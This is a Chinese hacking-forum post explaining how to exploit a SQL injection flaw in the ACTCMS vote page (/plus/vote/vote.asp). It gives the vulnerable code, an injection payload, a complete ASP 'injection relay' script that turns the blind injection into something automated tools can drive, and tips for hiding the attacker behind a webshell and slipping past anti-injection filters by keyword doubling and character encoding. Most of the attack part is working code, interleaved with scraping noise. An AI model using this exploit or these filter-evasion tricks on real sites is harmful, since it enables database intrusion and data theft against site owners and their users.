找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2328|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1 ?3 K" _1 C2 H看到ninty大牛的blog的一篇文章
5 i- N# e$ w8 ^  t/ j) z( o! b1 Z链接标记[url]http://www.forjj.com/?action=show&id=80[/url]' y  p. E4 O3 Y- ~
关于actcms漏洞的利用  by 3x qq:381862589
4 C, K# h+ c% d' b0 }& t4 n$ a9 h* |3 E转载请注明以上
8 V; t2 @% i- y' M$ M9 T6 N漏洞文件:8 L# Z, k. f6 S$ v4 \! E8 a! Q4 A
/plus/vote/vote.asp5 ~: q1 E- n! c( V4 y
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
( I1 m1 I1 O& j! u2 o: g( {
0 t7 T. G( `! |6 ^2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   + G8 J: y/ M2 {. E: S
3 K* X" \9 O4 S6 g
3    response.end   
' B$ S# Y7 Y' [9 T- U% e0 r: S+ P' e1 |5 V  `; T( l
4    end if    * j4 ]# m. `: L% u, |! N# _

& e% r1 B- g  Y4 y$ U& ]. W4 V( }5    for i=1 to request("voted").count    , j+ }2 H( I6 K# R
! j! ]$ B) m2 V2 N
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
0 N8 A6 ?6 l6 q. a* M9 H7 _
$ b* A8 P- ], e9 d7    next   
: t5 S5 O3 X3 G7 ~+ y' U( d% n
8....   
% Y% Z$ ?, h9 X+ \8 L! A1 x8 D0 T' a. I; T8 h$ W( _
9response.Redirect "index.asp?id="&id&""   7 L/ s- O* m2 }+ |" u3 r
投票结束回跳转回index.asp这个投票结果页面6 N/ q/ M# o: b. Y
如果投票成功票数加1
- X0 F8 r' k& q! m& }* E3 a            失败票数不变
( A4 N3 o) U& X) z( D如图:6 \" s9 A8 w  I
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)1 N$ O2 M) w" q7 y! v9 I

7 u: W9 c( _6 s2009-12-27 13:20
& g7 p" v6 c# u7 }+ {  @& f% s5 S# S7 q' x* \6 z- d) P
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
& v# A9 M; B$ `  [" b
, p; I1 }& f6 f+ q0 ^本帖隐藏的内容需要回复才可以浏览% B6 y4 P/ O+ p  Z6 ?
我们用注入中转来实现这个注入具体代码如下:
; Z3 y- l8 l, a8 \" _0 `, k( z7 A7 _先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 |& g9 N  s4 D- f* w& r注入地址:http://localhost/actcms/plus/vote/vote.asp. @1 Q7 f: Z. P/ N+ k6 e
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项2 V; }0 S& h  n$ ]% [

. ~# i6 N; p, x然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
6 ?0 p- K; M7 F2 l# V0 @
- o+ s4 e% v7 v& {8 p( q, X02JmdcwName=request("jmdcw")
. m* f5 k  _+ `" C
; e8 f& T% U, M; R  G  r: b03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ; L/ s1 b3 z  b0 [8 N' G$ f
0 w1 H) [, U& v( I1 ]: b6 j' }% q) K7 `
04JmStr="id=1&voted=-1 or 1="&JmdcwName + ^7 c8 B9 ?* m7 p. I8 b2 }/ c* D5 N
& R% C8 P! I" \! B7 w; u
05JmStr=URLEncoding(JmStr)
4 T& W7 T" T! O8 d1 q5 Q9 t3 ~& z# y
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"6 j% P5 J* ?4 m( [. t
/ _- t8 z$ A+ O
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
& f+ Z: |( I# ]- h1 Y( T6 ]) i; _" m% A; v' n
08testurl=testurl & "?" & JmStr ! A3 E( Z8 b, R  s. t! Q* u

( i5 T% i+ k, g1 [! a09JMUrl=JMUrl & "?" & JmStr
+ c' I0 R% U: f0 q( e$ A, o$ h- {8 n) x7 L
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"/ p. }0 i6 [8 h1 u! m9 e4 [
2 m, q- R( U- X+ Y; ]
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"5 e9 t9 ~+ l% _/ h

7 R1 q6 c( w0 x1 \12JmCok=replace(JmCok,chr(32),"%20")  
6 [9 D+ A5 K' e8 ?5 ?
% g( Y4 n1 a# H& [8 h: I2 K13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 1 L4 {# W8 c  ]& P4 o1 x- P$ X6 ~
% ]$ [2 L7 C4 o1 v
14  
- b' f  P4 B6 E
9 t  l2 v% F2 o6 r8 S3 `- u15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) v3 i  ]( t, x& j( Y  R3 V$ q- e; ^0 Y7 D; x; {
16  ( j3 [5 X. C4 M/ Z9 ?' i) Z8 b

* Q1 w% o/ k+ f' [; V17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 . O' L7 Z' ^% z1 [+ K+ v0 N4 k0 Y

  Y* e8 @' v/ Z, s% B18response.write test1&""&test2&""* J& Z4 }1 M6 N& b1 v
4 J3 R: t( W6 D+ }$ z
19  + T  U2 b! ?" A# K1 o. `$ }

" j) e% i& M6 N. M  ]20if test1=test2 then '如前后记录相等,表示失败 $ |6 R: ]: \2 e4 p

; k# S: ~( }/ U; N  ~21  response.write "failed"
6 G+ b) L  X8 s5 t$ _
% c2 s- N1 ]( @1 R8 z8 v22else   `3 a( q( c" r; r$ @+ H
. {9 k5 H1 L3 Q7 H: y! I
23  response.write "succeed"
& S1 W: e$ O2 [0 a- g- ^; g
4 b4 ~3 P: Y. Q) C24end if  , Y3 z& X( j6 J$ w) b& ]( N

4 S- H$ d2 H* \, `9 a$ q25  
1 L, @5 N2 {: P  g* x: U
  z3 M! r( _8 n$ ]3 b6 _26response.write "by 3x"" h9 Q( S& T0 h0 ]& [; A

8 Y: B2 r1 e- {. ]3 ?7 |27  6 L$ h: o7 r: A  W9 m; g* s. Q! {
$ d! o5 [3 p3 H7 ^" G6 F& V
28  , N4 L& Q! B  r5 s0 W

+ `  T4 ^8 U6 ?+ Z# K29Function PostData(PostUrl,PostStr,PostCok,PostRef)   " \* B* G- Y, F
* f/ h- O& |5 i& X; N8 Q" I3 J
30Dim Http
) L; }! F9 g2 l/ [6 v/ I
0 f, R( h/ b9 [) |31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") : a0 o6 J# l  t! e
- a& M0 F* _! W. L3 u5 {  _( j
32With Http 5 L1 @5 @4 C0 X4 o

' O$ D' V& `+ u6 c9 o33  ( H6 k, [5 r1 B
  X7 H2 d. w/ Y& R/ U& }7 s
34.Open "GET",PostUrl,False& _1 M+ U+ x0 w7 ]+ D8 f
7 E$ H- i, G' X: A; _+ U" I$ r0 D
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"+ ]4 w8 W# g) t

% z7 J; p# _7 s! v* {36.SetRequestHeader "Referer",PostRef
9 K  z! Q% M  T3 M: y9 x: }5 s% _) z+ y- p4 a) ~. ]5 S
37.SetRequestHeader "Cookie",PostCok
# @  w2 e% d; z! E' }  X4 I0 a: b* W% z! K% b0 W1 X2 B8 y
38.Send () ) n; L9 M, v/ e* o! ~
) e; M2 n( K4 r2 y/ j" l
39PostData = .ResponseBody
% |! L+ p8 v4 {( O2 L& I1 D) k  G+ M/ p5 Y" y
40End With
9 N& {; ]. r9 g, J7 z/ _0 H
5 Y) x; y& r! ?+ W; B; X& b2 G41Set Http = Nothing
/ a$ |( _5 i4 W2 W
* g6 T1 ^0 Y8 y/ [8 V42PostData =bytes2BSTR(PostData) * P( e' A. {7 o7 L5 k' A
2 D9 ?6 V0 w: X& X
43End Function
8 C! d# Y3 [( ^. h% P, }
6 D- h1 c; R' F8 A44  
$ e  j) q4 S4 a
% @8 I0 W0 V% q+ Q45  6 Q" R2 ]/ _' w7 B1 Z3 ^" @
( U3 O7 W8 O* P. D( P' r
46Function bytes2BSTR(vIn) * ?, Y, T7 T8 u% o
: J  W/ d& O) Q- b* Q
47Dim strReturn 8 ^# Y2 g, U) J0 C3 W

- Z1 w/ H$ }) x) _48Dim I, ThisCharCode, NextCharCode
- E4 W, L9 B1 h8 P, j6 M
) v) M9 s7 u" [49strReturn = ""
6 D& Q1 v8 W* |& N3 W2 b- o( Q* l/ ~# w2 k% l/ Q
50For I = 1 To LenB(vIn)
( ~% p( v; P* h4 X  {+ ?4 e5 Y% `% F
51ThisCharCode = AscB(MidB(vIn, I, 1)) 7 j1 |3 L2 d( q! r& w. ]6 \
0 O6 E0 c: K5 q, u, M& V, g7 G
52If ThisCharCode < &H80 Then  h) z: W% k: a% b6 H/ ?
  M9 z. i3 Z+ w  @# y
53strReturn = strReturn & Chr(ThisCharCode)
8 s2 R  \4 u# ~. g% y) ~/ n, C7 X/ N' y! V* b0 G
54Else
) T8 [) Z; j) d4 L  X$ K6 C1 |- a/ c
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
3 j8 }4 E3 j- R# M
0 f; V$ s+ c+ J56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
3 a5 T" G2 M" T4 S4 @) ]( E. p  Y
' o7 ^+ l5 \5 v+ o57I = I + 1 $ u+ ~; s5 Q9 `5 M5 b& L
- W7 Q# ]4 Q# h0 a" c, Y
58End If9 b+ l) r2 l1 K' w8 G6 W
. O* R) Q- t$ D" `1 [
59Next
4 C/ j, ?$ u! O# j+ S
0 [0 j( q2 X# ]60bytes2BSTR = strReturn
3 E, n4 E  F! I/ x1 |! J- t$ G# ~% H2 s6 E% \$ K) i
61End Function
* @- W7 q: W2 R0 Q/ u$ J& r6 ^! h8 C6 S2 t8 s4 M5 P$ @
62  
. }: m+ f/ u. Y" h) Q: d0 u  ^- u$ }4 j: e' p+ A
63Function URLEncoding(vstrin)  
! p* E- x" T6 H
5 s) {. f/ E$ r: ]  Z! |+ |64strReturn=""
: C* \* o$ ~% }& \/ |
& [& q4 Q4 s% p65Dim i
' S: J% p- D; \8 r( u5 K( W0 n+ K  e# R) D% b/ c
66For i=1 To Len(vstrin)
8 _- R2 I4 p( S2 v6 @' o8 \. U1 ]! D% Y. a
67ThisChr=Mid(vstrin,i,1) / u0 Z0 P3 b3 ]8 G# \
) C' @  p$ P  f" Y. _0 I
68if Abs(Asc(ThisChr))< &HFF Then4 v3 K/ \* \( O: O& e: r- v5 h
* l5 f% w1 [' P- z$ m& q2 |, a
69strReturn=strReturn & ThisChr 2 t& B8 z: Z* U) a% c+ ]! Y

. |8 ^, Z; @" E. w. z( R70Else
( N; M) F. ^0 A- o9 H" T2 d' ^" ?3 i! _. J) R0 r- Y3 V$ W
71InnerCode=Asc(ThisChr) / d" {1 C, j/ |/ b6 t
! f) h; k% e; _- p2 s
72If InnerCode<0 Then3 w. }& a& D' V3 e4 c6 k& J0 z
; Z" h/ Y& B8 k+ o
73InnerCode=InnerCode + &H10000 ) }" p- s$ i# y- n

# P& X- ]% X! o/ i9 e/ b- W74End If
' n/ s9 R  _# @: s% Y8 D3 m
: g; a9 v. C3 {75Hight1=(InnerCode And &HFF00) \&HFF # V* O6 c0 Y' n1 I6 @! w% ~

, E& W, W5 T8 Y1 j76Low1=InnerCode And &HFF
- n9 f% t$ M2 s+ a
  C) u6 V5 {8 ^2 w0 \$ m- y77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
7 R) V1 V; w+ ?+ O: K/ `5 t3 m+ H$ E& s1 ~* r& A4 d/ f; ~- \0 h
78End if
0 |6 x9 T" d5 t+ S
% b( ~8 j. r! a. [( l79Next
- w) X& m1 B4 y: z9 Z$ g0 e0 w1 Y4 x2 B, F% V
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ' A0 p+ ~, ^* o  H$ V3 Y% K
8 w5 z" j1 R1 N
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ( S, s8 b# j/ e& n4 x5 c; t
  l! Z. U' t: z$ p+ I( u/ l3 p
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 5 I7 h( W- [5 R9 h. V9 t1 _% V, t
/ m4 r; A  W& A1 I, X
83URLEncoding=strReturn
! S* e& v5 s  ~' z
5 `+ H3 i' D4 a0 i' C: u7 W84End Function5 T$ X: r0 N* x* O. B( i

( K- ~$ G# n2 G2 ^! I  b1 q0 W7 o% I85  
8 M1 c! ?0 h( t( v* b) p$ N& U) f7 z$ H. y7 D' @, _3 {
86function getSt(body)
! m! c0 W+ r( `( M( C
6 _( C4 \3 G" Q- z& }, t: z/ U- h7 M87  startpot=instr(body,"投票人数:")+len("投票人数:") $ H3 ^4 _! j/ A/ q. W1 r4 J
& D6 p; t' o; X
88  endpot=instr(startpot,body," ")
6 l3 Z3 p" w7 S/ h7 Q
& [9 _. z# m- d9 e# p) m- y89  getSt=mid(body,startpot,endpot-startpot) 5 Z) n' A& D/ w' k. D; }
& s+ i5 S1 \% D
90end function
7 l: D; W3 x5 s$ c) e
, w' K1 b: U* x! t, v6 X91%>
' X+ {" q& ?" `2 E: c注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
3 J2 Q) y4 k" |% m$ U# t- z测试下效果:! s7 K" g3 i4 a+ q9 p
投票成功:* h+ d+ Z% |1 F0 d6 I; U+ k
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)! `. J  l$ V4 S! |3 x' G& ?

" C" r; A. J+ n1 q; g6 r2009-12-27 13:29
0 {5 U) n; {+ x: y- Z2 o投票失败1 c- M1 ^( M# c
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB): H/ n( g  [! n( u9 A
1 o+ \" c9 y5 p) m( k! Q
2009-12-27 13:29
9 {0 _/ h4 _" e4 ^8 a( h% w-------------------------------------------------------------------------------  Q# m& F2 {: T/ K/ u  }8 b' F4 a  d& N
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以! V! K( _  N; r
很抱歉。。。只能用单线程工具去注入。。。。。1 R, v) Q( r% ~* V, Y: X3 T
所以失败。。。不好意思。。。+ W, S2 j3 e; u- X7 c5 s
-------------------------------------------------------------------------------
7 u" Q; V  w$ s# x- z# Z
5 _) V0 E- D: X* ?. X7 W8 N' Q4 o; q注入中转的一些其他应用
; ^) j+ g% |8 M, L其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了* J6 i" r9 M1 _4 \7 }+ Z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id8 W& k9 J# A0 R* w0 p3 H0 Z# n
2.post注入转成get型的注入,方便我们使用工具来跑
  g4 c5 H5 B& ^  t4 H$ j, v- t# T3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")3 c# I3 i8 Y4 \( M/ ]2 c! @# n4 p  \( c. E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
0 E! X% e3 x" Q# v# |% g1 T& ?% P) D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表